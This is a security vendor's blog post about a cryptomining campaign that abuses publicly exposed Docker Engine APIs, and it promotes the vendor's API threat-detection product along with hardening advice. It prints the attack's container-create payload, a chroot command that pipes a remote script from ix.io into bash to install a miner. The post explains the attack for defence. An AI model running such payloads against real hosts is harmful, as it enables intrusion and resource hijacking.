Digging Deep to Defend Against Docker API Abuse

 

Another day, another API breach adds to the growing chorus against API vulnerabilities. The attack we speak about this time is targeting publicly exposed Docker APIs, leveraging the victim infrastructure for illegitimate cryptocurrency mining. Way to ruin Thanksgiving for Docker Admins, I say!

In this blog, we describe the attack targeting Docker API endpoints and describe how CloudVector protects against such an attack. In a recent survey at the Cyber Security and CloudExpo, 58% of the enterprises confirmed using Docker in production environments. While the rapid deployment model of Docker gains momentum, attacks such as the one outlined in this blog will be oblivious to enterprises that do not validate API payloads, which is more than 50% according to the same survey. CloudVector’s threat prevention and detection principles described in this article rely on deep API payload visibility. Need more? Read on.

The Docker API Vulnerability

For the uninitiated: Docker is a platform which facilitates rapid application deployment and allows tremendous infrastructure utilization through the container technology. Containers are basically restricted OS instances, typically used to host a single application. The containers pertinent to an application are managed using an orchestrator such as Kubernetes. The orchestrator uses the Docker Engine API for container CRUD operations. Specifically, the API allows clients to manage: images, containers, networks, volumes, services, etc.

In the Docker API abuse vulnerability, attackers found several instances of the publicly accessible Docker Engine API. That is, the API which is typically exposed locally through a Unix socket, is now accessible from the Internet over TCP/IP (ports 2375 and 2376). We speculate that the motivation for making the APIs public is to provide the assumed trusted clients with the convenience to remotely manage containers.

As a consequence of public accessibility, attackers were able to scan for such API endpoints and launch containers capable of crypto-mining. Figure 1 summarizes the attack steps. The typical sequence of API calls for this attack is as follows:

1. Call to create a Docker image within the victim repository by pulling an image from the Docker registry:

POST /images/create?fromImage=alpine&tag=latest

The above call pulls a lightweight AlpineOS Linux image. Once pulled, the downloaded image can be accounted for locally through the command: docker images

2. Call to start a container using the previously downloaded image:

POST /containers/create

This call is made with the following API payload:

{
"Image": "alpine",
"Command": "chroot /mnt /bin/sh -c 'curl -sL4 http://ix.io/1XQa | bash;'"
}

The above call not only starts the AlpineOS container but also runs the curl command which downloads a bash script. The script installs and runs the XMRig cryptocurrency miner, besides executing other malicious activity

Note the Command parameter in the API payload above: this is what we are most interested in.

How CloudVector Protects

Our API Threat Protection solution looks deep into the API payload for threat identification. The ability to understand API payloads and apply policies to individual API parameters allows CloudVector to distinguish legitimate threat activity from noise. CloudVector’s capabilities allow for it to inspect:

  • All API parameters (e.g. “Image” and “Command” in this case), or
  • Specific groups of params that are identified during CloudVector’s API Discovery as meta-labels associated with API Parameters, or
  • An individual parameter. (e.g. “Command” API parameter).

The data fed from the above mentioned groups allows the use of machine-learning based anomaly detection to detect the abnormal API calls made by a client for a given API end-point. The anomaly detection system acknowledges several dimensions to map a target’s behavior. The set of model dimensions include but are not limited to geo-location, IP address, time-of-access, etc. In the attack scenario discussed in this blog, the API call to launch a container from an unseen client IP address, represents a confident trigger for abnormal activity.

In addition to detecting anomaly-based threats, CloudVector deploys threat identification signatures and integration with threat intelligence feeds. For instance, to detect the Docker API abuse, CloudVector deploys an attack signature (say, with malicious URL “http://ix.io/1XQa” itself). Again, this signature is applied to either of the parameter groups mentioned above.

While the above solutions have been discussed in the context of a publicly accessible API, the prevention capability applies to APIs also accessible through intra-cloud services (viz. Private APIs). This is an important capability to counter attacks which move laterally within the victim ecosystem.

Further Recommendations for Docker API Attack

We further recommend the following house-keeping steps to keep your APIs secure and reduce the attack surface:

  • Comprehensive visibility: Deploy a tool that can provide 360 degree visibility of all the APIs within your environment: this includes APIs used by the Docker Infrastructure as well as APIs used by enterprise applications.
  • Enable API Authentication: API access should be confined to known identities. The API endpoints need to be treated as portals to critical property and therefore should be accessible only by users you can trust.
  • Limit access scope: The API endpoint can be restricted such that it is accessible only by specific regions or known white-listed IP subnet blocks.
  • Disable Sensitive APIs: In addition to restricted access, disable specific APIs which have the potential to adversely affect infrastructure and resources. A specific example of such an API is the /containers/create used in the Docker API attack.

Conclusion

Deep API payload analysis can be effectively used to thwart attacks on an API endpoint. CloudVector’s Deep API analysis solution includes deployment of API anomaly detection models that are supplemented by attack signatures and threat intelligence feeds applied to API Parameters. Such a capability protects against a broad class of attacks which manipulate absence of API parameter validation, as acknowledged through OWASP API Top 10.

It is not sufficient to focus protection of only publicly accessible API endpoints as attacks, especially APT-based, use lateral movement within data centers to compromise further API targets. CloudVector’s API Threat Protection platform enjoys comprehensive visibility and therefore addresses such attack vectors effectively.

References

[1] Docker Engine API attack
[2] Cloud and API Adoption Survey 2019
[3] Docker Engine API documentation
[4] OWASP API Top 10